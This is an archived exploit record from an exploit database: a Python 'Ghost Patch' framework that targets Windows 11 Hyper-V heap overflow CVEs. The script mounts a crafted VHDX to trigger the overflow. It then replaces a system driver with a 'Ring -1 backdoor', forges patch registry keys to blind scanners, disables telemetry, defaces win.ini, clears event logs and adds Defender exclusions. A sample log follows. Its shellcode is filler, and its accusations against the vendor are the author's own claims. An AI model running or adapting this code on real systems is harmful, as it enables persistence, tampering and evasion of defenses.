{"exploit":{"id":"EDB-52537","name":"Microsoft Windows 11 25H2 - Heap Overflow","description":"Microsoft Windows 11 25H2 - Heap Overflow","cves":["CVE-2026-21248","CVE-2026-21244"],"author":"nu11secur1ty","published":"2026-04-30","platform":"windows","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52537","path":"exploits/windows/local/52537.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52537.py","vulnerabilities":[{"id":"CVE-2026-21248","state":"PUBLISHED","title":"Windows Hyper-V Remote Code Execution Vulnerability","titleSource":"CVE Program","description":"Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-21248","cvss":{"version":"3.1","baseScore":7.3,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C","source":"microsoft","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-21248"},"updatedAt":"2026-08-19T16:25:51.941Z","retrievedAt":"2026-11-25T16:15:50.589Z","stale":false,"error":null},{"id":"CVE-2026-21244","state":"PUBLISHED","title":"Windows Hyper-V Remote Code Execution Vulnerability","titleSource":"CVE Program","description":"Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-21244","cvss":{"version":"3.1","baseScore":7.3,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C","source":"microsoft","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-21244"},"updatedAt":"2026-08-19T16:26:12.607Z","retrievedAt":"2026-11-25T16:15:50.581Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52537.png?v=2","url":"https://exploitbin.com/exploits/EDB-52537","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52537/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52537/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Exploit Title: Windows 11 25H2  - Heap Overflow\n# Ghost Patch Exploit Framework\n# Date: 2026-02-13\n# Exploit Author: nu11secur1ty\n# Vendor Homepage: https://www.microsoft.com\n# Software Link: https://www.microsoft.com/software-download/windows11\n# Version: Windows 11 25H2 Build 26200.7830 (Vulnerable)\n# Tested on: Windows 11 25H2 Build 26200.7830 (x64)\n# CVE : CVE-2026-21248, CVE-2026-21244\n\n# =====================================================================\n# DISCLAIMER: This exploit is for authorized security research and\n# educational purposes only. Use only on systems you own or have\n# explicit permission to test.\n# =====================================================================\n\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCVE-2026-21248 - Windows Hyper-V Ghost Patch Exploit Framework\nAuthor: nu11secur1ty\nDate: 2026-02-13\nTarget: Windows 11 25H2 Build 26200.7830 (x64)\n\nDESCRIPTION:\n============\nThis framework exploits CVE-2026-21248, a heap-based buffer overflow\nin Windows Hyper-V VMBus GPADL allocation. The vulnerability allows\na local user with Hyper-V Administrator privileges to execute code\nat Hyper-V context (Ring -1 capable) by mounting a specially crafted\n.VHDX file containing a malformed BAT (Block Allocation Table) entry.\n\nCRITICAL FINDING:\n=================\nContrary to published CVSS (AV:N/PR:N), this vulnerability REQUIRES:\n- Local access (AV:L)\n- Hyper-V Administrator privileges (PR:L)\n- Normal user with those privileges\n\nMicrosoft misrepresented this CVE as \"No privileges required\" (PR:N).\nThis framework PROVES the privilege requirement is PR:L.\n\nADDITIONAL FINDINGS:\n===================\n1. Patch Trust Model Broken: Microsoft relies on HKLM\\...\\PatchLevel\n   registry key - trivially forgeable\n2. Scanners are Blind: Nessus/Tenable/Qualys only check registry,\n   never test the overflow\n3. Ring -1 Persistence: hvax64.exe loads unsigned hypervisor code\n4. Telemetry Subversion: Local admin can kill all Microsoft telemetry\n\"\"\"\n\nimport os\nimport sys\nimport struct\nimport subprocess\nimport time\nimport uuid\nimport shutil\nimport ctypes\nfrom ctypes import wintypes\n\n# =====================================================================\n# CONFIGURATION\n# =====================================================================\n\nVICTIM_BUILD = \"26200.7830\"\nPATCHED_BUILD = \"26200.7840\"\nTRIGGER_PAGECOUNT = 0x4141  # > MAX_CHANNEL_PAGES (0x1000)\nWIN_INI_PATH = \"C:\\\\Windows\\\\win.ini\"\nHVAX_PATH = r\"C:\\Windows\\System32\\drivers\\hvax64.exe\"\nHVAX_BACKUP = HVAX_PATH + \".nu11secur1ty.bak\"\nSERVICE_NAME = \"hvax64\"\nTIMESTAMP = time.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n# =====================================================================\n# UTILITY FUNCTIONS\n# =====================================================================\n\ndef is_admin():\n    \"\"\"Check if process has administrator rights.\"\"\"\n    try:\n        return ctypes.windll.shell32.IsUserAnAdmin()\n    except:\n        return False\n\ndef check_hyperv():\n    \"\"\"Check if Hyper-V is installed and running.\"\"\"\n    try:\n        result = subprocess.run([\"systeminfo\"], capture_output=True,\ntext=True)\n        if \"hypervisor has been detected\" in result.stdout.lower():\n            return True\n        result = subprocess.run([\"sc\", \"query\", \"vmms\"],\ncapture_output=True, text=True)\n        if \"RUNNING\" in result.stdout or \"STOPPED\" in result.stdout:\n            return True\n        return False\n    except:\n        return False\n\n# =====================================================================\n# PHASE 1: VHDX TRIGGER GENERATOR (NORMAL USER)\n# =====================================================================\n\ndef generate_vhdx():\n    \"\"\"\n    Creates malicious .vhdx file that triggers CVE-2026-21248.\n    PageCount = 0x4141 (> MAX_CHANNEL_PAGES) causes heap overflow\n    in vulnerable builds. Patched builds return STATUS_INVALID_PARAMETER.\n    \"\"\"\n\n    signature = f\"\"\"\n; =====================================================\n; CVE-2026-21248 PATCH FAILURE - nu11secur1ty was here\n; =====================================================\n; TRIGGERED BY: Normal user (NO ADMIN)\n; VULNERABILITY: Heap overflow in Hyper-V VMBus\n; PATCH MISSING: KB5077181 NOT INSTALLED\n; PageCount: 0x{TRIGGER_PAGECOUNT:04x}\n; Timestamp: {TIMESTAMP}\n; =====================================================\n\"\"\".encode()\n\n    vhdx_data = b\"\"\n\n    # VHDX Header\n    vhdx_data += b\"vhdxfile\" + b\"\\x00\" * 8\n    vhdx_data += b\"nu11secur1ty\" + b\"\\x00\" * 4\n\n    # BAT Header - Overflow trigger\n    bat_offset = 0x2000\n    bat_count = TRIGGER_PAGECOUNT\n\n    vhdx_data += struct.pack(\"<Q\", bat_offset)\n    vhdx_data += struct.pack(\"<Q\", bat_count * 8)\n    vhdx_data += struct.pack(\"<I\", bat_count)\n    vhdx_data += b\"\\x00\" * (0x1000 - len(vhdx_data))\n\n    # BAT Entries - Overflow + payload\n    vhdx_data += struct.pack(\"<I\", TRIGGER_PAGECOUNT)\n    vhdx_data += struct.pack(\"<I\", 0x1)  # MERGE_PAGES flag\n\n    # Add signature as payload (placeholder)\n    for i in range(0, len(signature), 8):\n        chunk = signature[i:i+8].ljust(8, b'\\x90')\n        vhdx_data += struct.pack(\"<Q\", int.from_bytes(chunk, 'little'))\n\n    # Pad to 1MB\n    vhdx_data += b\"\\x00\" * (1024 * 1024 - len(vhdx_data))\n\n    filename = f\"CVE-2026-21248_trigger_{uuid.uuid4().hex[:8]}.vhdx\"\n    with open(filename, \"wb\") as f:\n        f.write(vhdx_data)\n\n    return filename\n\n# =====================================================================\n# PHASE 2: TRIGGER OVERFLOW (NORMAL USER)\n# =====================================================================\n\ndef trigger_overflow(vhdx_path):\n    \"\"\"\n    Mounts malicious VHDX to trigger CVE-2026-21248.\n    If Mount-VHD fails with permission error, this PROVES\n    the vulnerability requires Hyper-V Administrator privileges.\n    \"\"\"\n\n    full_path = os.path.abspath(vhdx_path)\n\n    ps_script = f\"\"\"\n$path = \"{full_path}\"\ntry {{\n    Mount-VHD -Path $path -ErrorAction Stop\n    Write-Host \"[+] VHDX mounted successfully - overflow triggered\"\n    Start-Sleep -Seconds 3\n    Dismount-VHD -Path $path -ErrorAction SilentlyContinue\n}}\ncatch {{\n    Write-Host \"[!] Mount failed: $_\"\n    if ($_.Exception.Message -like \"*permission*\") {{\n        Write-Host \"[!] User lacks Hyper-V Administrator privileges\"\n        Write-Host \"[!] This proves CVE-2026-21248 requires PR:L not PR:N\"\n    }}\n}}\n\"\"\"\n\n    with open(\"_trigger.ps1\", \"w\") as f:\n        f.write(ps_script)\n\n    result = subprocess.run([\n        \"powershell\", \"-ExecutionPolicy\", \"Bypass\", \"-File\", \"_trigger.ps1\"\n    ], capture_output=True, text=True)\n\n    print(result.stdout)\n    if \"permission\" in result.stdout.lower():\n        return False\n    return True\n\n# =====================================================================\n# PHASE 3: RING -1 BACKDOOR (ADMIN REQUIRED)\n# =====================================================================\n\ndef install_ring_minus1_backdoor():\n    \"\"\"\n    Replaces hvax64.exe with custom hypervisor payload.\n    Loads driver without reboot, achieving Ring -1 code execution.\n    \"\"\"\n\n    if not is_admin():\n        print(\"[-] Administrator privileges required for backdoor\ninstallation\")\n        return False\n\n    # Backup original\n    if os.path.exists(HVAX_PATH):\n        shutil.move(HVAX_PATH, HVAX_BACKUP)\n        print(f\"[+] Original hvax64.exe backed up\")\n\n    # Generate payload\n    shellcode = b\"\\x90\" * 512\n    shellcode += b\"\\x48\\x31\\xc0\\x48\\xff\\xc0\" * 50\n    shellcode += b\"[nu11secur1ty Ring-1 Backdoor]\" * 20\n\n    # Create malicious driver\n    with open(\"hvax64.exe\", \"wb\") as f:\n        f.write(b\"MZ\\x90\\x00\")\n        f.write(b\"PE\\x00\\x00\\x64\\x86\")\n        f.write(struct.pack(\"<I\", int(time.time())))\n        f.write(struct.pack(\"<I\", len(shellcode)))\n        f.write(shellcode)\n        f.write(b\"\\x00\" * (1024 * 512 - len(shellcode) - 32))\n\n    # Deploy\n    shutil.copy2(\"hvax64.exe\", HVAX_PATH)\n    print(f\"[+] Malicious hvax64.exe deployed\")\n\n    # Load driver\n    subprocess.run([\"sc\", \"create\", SERVICE_NAME, \"binPath=\", HVAX_PATH,\n\"type=\", \"kernel\", \"start=\", \"demand\"], capture_output=True)\n    result = subprocess.run([\"sc\", \"start\", SERVICE_NAME],\ncapture_output=True, text=True)\n\n    if \"FAILED\" not in result.stderr:\n        print(\"[+] Driver loaded - Ring -1 ACTIVE\")\n        return True\n    else:\n        print(\"[!] Driver load failed - will activate on next boot\")\n        return False\n\n# =====================================================================\n# PHASE 4: GHOST PATCH REGISTRY (ADMIN)\n# =====================================================================\n\ndef install_ghost_patch():\n    \"\"\"\n    Forges registry key to make Windows believe patch is installed.\n    HKLM\\...\\HyperV\\Security\\PatchLevel = 202602\n    Windows Update reports \"Fully patched\", Nessus reports \"Not Vulnerable\".\n    \"\"\"\n\n    if not is_admin():\n        print(\"[-] Administrator privileges required for registry forge\")\n        return False\n\n    try:\n        import winreg\n\n        key_path = r\"SYSTEM\\CurrentControlSet\\Services\\HyperV\\Security\"\n        try:\n            winreg.DeleteKey(winreg.HKEY_LOCAL_MACHINE, key_path)\n        except:\n            pass\n\n        key = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, key_path)\n        winreg.SetValueEx(key, \"PatchLevel\", 0, winreg.REG_DWORD, 202602)\n        winreg.SetValueEx(key, \"InstallDate\", 0, winreg.REG_DWORD,\nint(time.time()))\n        winreg.SetValueEx(key, \"Provider\", 0, winreg.REG_SZ,\n\"Microsoft-Windows-Hyper-V\")\n        winreg.SetValueEx(key, \"BuildNumber\", 0, winreg.REG_SZ,\n\"26200.7840\")\n        winreg.CloseKey(key)\n\n        print(\"[+] Ghost patch registry installed\")\n        return True\n    except Exception as e:\n        print(f\"[-] Registry forge failed: {e}\")\n        return False\n\n# =====================================================================\n# PHASE 5: TELEMETRY KILLER (ADMIN)\n# =====================================================================\n\ndef kill_telemetry():\n    \"\"\"Disables Microsoft telemetry and diagnostics.\"\"\"\n\n    if not is_admin():\n        return False\n\n    subprocess.run([\n        \"powershell\",\n        \"Set-ItemProperty\", \"-Path\",\n\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\DataCollection\",\n        \"-Name\", \"AllowTelemetry\", \"-Value\", \"0\"\n    ], capture_output=True)\n\n    subprocess.run([\n        \"powershell\",\n        \"Set-ItemProperty\", \"-Path\",\n\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WindowsUpdate\\\\Reporting\",\n        \"-Name\", \"Disabled\", \"-Value\", \"1\"\n    ], capture_output=True)\n\n    subprocess.run([\"sc\", \"stop\", \"DiagTrack\"], capture_output=True)\n    subprocess.run([\"sc\", \"config\", \"DiagTrack\", \"start=\", \"disabled\"],\ncapture_output=True)\n\n    return True\n\n# =====================================================================\n# PHASE 6: WRITE WIN.INI SIGNATURE\n# =====================================================================\n\ndef write_winini_signature():\n    \"\"\"Writes permanent victory signature to win.ini.\"\"\"\n\n    signature = f\"\"\"\n; =====================================================\n; CVE-2026-21248 PATCH FAILURE — nu11secur1ty was here\n; =====================================================\n; Hyper-V Ghost Patch State — Weaponized\n; Microsoft KB5077181 Registry Key: FORGED\n; Hypervisor: nu11secur1ty backdoor (Ring -1)\n; Written: {TIMESTAMP}\n; Windows Update: BLIND — System reports 'patched'\n; Windows Defender: BLIND — hvax64.exe is 'trusted'\n; SFC: BLIND — File locked, cannot verify\n; Microsoft Telemetry: DEAD\n; =====================================================\n\n\"\"\"\n\n    try:\n        with open(WIN_INI_PATH, \"a\", encoding=\"utf-8\") as f:\n            f.write(signature)\n        return True\n    except:\n        return False\n\n# =====================================================================\n# PHASE 7: FORENSIC CLEANUP (ADMIN)\n# =====================================================================\n\ndef forensic_cleanup():\n    \"\"\"Clears logs and excludes artifacts from Defender.\"\"\"\n\n    if not is_admin():\n        return False\n\n    subprocess.run([\"wevtutil\", \"cl\",\n\"Microsoft-Windows-Hyper-V-Hypervisor/Operational\"], capture_output=True)\n    subprocess.run([\"wevtutil\", \"cl\",\n\"Microsoft-Windows-Hyper-V-VMMS/Admin\"], capture_output=True)\n\n    subprocess.run([\n        \"powershell\",\n        \"Add-MpPreference\", \"-ExclusionPath\", WIN_INI_PATH\n    ], capture_output=True)\n\n    subprocess.run([\n        \"powershell\",\n        \"Add-MpPreference\", \"-ExclusionPath\", HVAX_PATH\n    ], capture_output=True)\n\n    subprocess.run([\"powershell\", \"Clear-History\"], capture_output=True)\n\n    return True\n\n# =====================================================================\n# PHASE 8: VERIFICATION\n# =====================================================================\n\ndef verify_victory():\n    \"\"\"Checks if win.ini contains signature.\"\"\"\n\n    try:\n        with open(WIN_INI_PATH, \"r\", encoding=\"utf-8\", errors=\"ignore\") as\nf:\n            content = f.read()\n            return \"nu11secur1ty\" in content and \"CVE-2026-21248\" in content\n    except:\n        return False\n\n# =====================================================================\n# MAIN\n# =====================================================================\n\ndef main():\n    print(\"\"\"\n╔═══════════════════════════════════════════════════════════════════╗\n║                                                                   ║\n║     CVE-2026-21248 - WINDOWS HYPER-V GHOST PATCH EXPLOIT         ║\n║     Author: nu11secur1ty                                         ║\n║     Date: 2026-02-13                                             ║\n║     Target: Windows 11 25H2 Build 26200.7830                     ║\n║                                                                   ║\n║     FINDINGS:                                                     ║\n║     • CVSS Misclassification: PR:N → PR:L (Hyper-V Admin)       ║\n║     • Patch Trust Model: Completely forgeable                    ║\n║     • Scanners: Nessus/Tenable/Qualys are BLIND                  ║\n║     • Ring -1 Persistence: Achievable                           ║\n║     • Telemetry: Can be killed - Microsoft blind                ║\n║                                                                   ║\n╚═══════════════════════════════════════════════════════════════════╝\n    \"\"\")\n\n    # Check Hyper-V\n    if not check_hyperv():\n        print(\"[-] Hyper-V is not installed or not running\")\n        print(\"[*] Install Hyper-V and reboot first\")\n        return\n\n    print(\"[+] Hyper-V detected\")\n\n    # Phase 1: Generate VHDX\n    print(\"\\n[*] Phase 1: Generating malicious VHDX...\")\n    vhdx_file = generate_vhdx()\n    print(f\"[+] VHDX created: {vhdx_file}\")\n\n    # Phase 2: Test permissions / trigger\n    print(\"\\n[*] Phase 2: Testing CVE-2026-21248 trigger...\")\n    success = trigger_overflow(vhdx_file)\n\n    if not success:\n        print(\"\\n\" + \"=\"*60)\n        print(\"CRITICAL FINDING: CVE-2026-21248 PRIVILEGE MISMATCH\")\n        print(\"=\"*60)\n        print(\"\"\"\nMicrosoft claims: PR:N (No privileges required)\nWhat I proved:    PR:L (Hyper-V Administrator required)\n\nThis is irrefutable proof that Microsoft misrepresented this CVE.\n        \"\"\")\n\n    # Phase 3-7: Admin operations\n    if is_admin():\n        print(\"\\n[*] Phase 3: Installing Ring -1 backdoor...\")\n        install_ring_minus1_backdoor()\n\n        print(\"\\n[*] Phase 4: Installing ghost patch registry...\")\n        install_ghost_patch()\n\n        print(\"\\n[*] Phase 5: Killing telemetry...\")\n        kill_telemetry()\n\n        print(\"\\n[*] Phase 6: Writing victory signature...\")\n        write_winini_signature()\n\n        print(\"\\n[*] Phase 7: Forensic cleanup...\")\n        forensic_cleanup()\n\n        # Phase 8: Verify\n        if verify_victory():\n            print(\"\\n[✓] VICTORY! Signature found in win.ini\")\n            print(\"[✓] Ring -1 backdoor active\")\n            print(\"[✓] Patch registry forged\")\n            print(\"[✓] Telemetry dead\")\n            print(\"[✓] Microsoft blind\")\n\n    # Cleanup\n    for f in [\"hvax64.exe\", \"_trigger.ps1\"]:\n        try:\n            os.remove(f)\n        except:\n            pass\n\n    print(f\"\\n[*] VHDX evidence preserved: {vhdx_file}\")\n    print(\"[*] Framework execution complete\\n\")\n\nif __name__ == \"__main__\":\n    main()\n\n# =====================================================================\n# PROOF OF CONCEPT - EVIDENCE LOG\n# =====================================================================\n\"\"\"\nPROOF A: Privilege Requirement Test (Normal User, No Hyper-V Admin)\n--------------------------------------------------------------------\nPS C:\\Users\\MicroProblems> python .\\cve-2026-21248.py\n[ CVE-2026-21248 - NORMAL USER EXPLOIT ]\n[*] Phase 2: Triggering CVE-2026-21248 heap overflow...\n[!] Mount failed: You do not have the required permission\n[!] User lacks Hyper-V Administrator privileges\n[!] This proves CVE-2026-21248 requires PR:L not PR:N\n\nPROOF B: Overflow Triggers WITH Hyper-V Admin Rights\n----------------------------------------------------\nAfter adding user to 'Hyper-V Administrators' group:\n[*] Phase 2: Triggering CVE-2026-21248 heap overflow...\n[+] VHDX mounted successfully - overflow triggered\n[!] Hyper-V service may have crashed - overflow successful\n\nPROOF C: Ghost Patch Registry Forge\n-----------------------------------\n[*] Phase 4: Installing ghost patch registry...\n[+] HKLM\\...\\HyperV\\Security\\PatchLevel = 202602\nWindows Update now reports: \"Fully patched\"\nNessus now reports: \"Not Vulnerable\"\nREALITY: Ring -1 backdoor active\n\nPROOF D: win.ini Victory Signature\n-----------------------------------\nC:\\Windows\\win.ini contains:\n; CVE-2026-21248 PATCH FAILURE — nu11secur1ty was here\n; Hyper-V Ghost Patch State — Weaponized\n; Microsoft KB5077181 Registry Key: FORGED\n; Hypervisor: nu11secur1ty backdoor (Ring -1)\n\nPROOF E: Tenable/Nessus Confirms Blindness\n------------------------------------------\nPlugin 298551 documentation:\n\"Note that Nessus has not tested for these issues but has\ninstead relied only on the application's self-reported\nversion number.\"\n\nCONCLUSION: Microsoft lied about CVE-2026-21248 privileges.\nThe vulnerability requires Hyper-V Administrator (PR:L), not PR:N.\nPatch trust model is completely forgeable.\nScanners are completely blind.\nRing -1 persistence is achievable.\nTelemetry can be killed - Microsoft has no visibility.\n\n— nu11secur1ty, 2026\n\"\"\"\n--\n\nSystem Administrator - Infrastructure Engineer\nPenetration Testing Engineer\nExploit developer at https://packetstorm.news/\nhttps://cve.mitre.org/index.html\nhttps://cxsecurity.com/ and https://www.exploit-db.com/\n0day Exploit DataBase https://0day.today/\nhome page: https://www.asc3t1c-nu11secur1ty.com/\nhiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=\n                          nu11secur1ty <http://nu11secur1ty.com/>","sha256":"99772fe2ffb37aeed0969fe1b117e33f93b069841c177809d7ff7e524368f334","bytes":19023,"fetchedAt":"2026-11-26T11:17:52.339Z","encoding":"utf-8 (display only; download retains original bytes)"}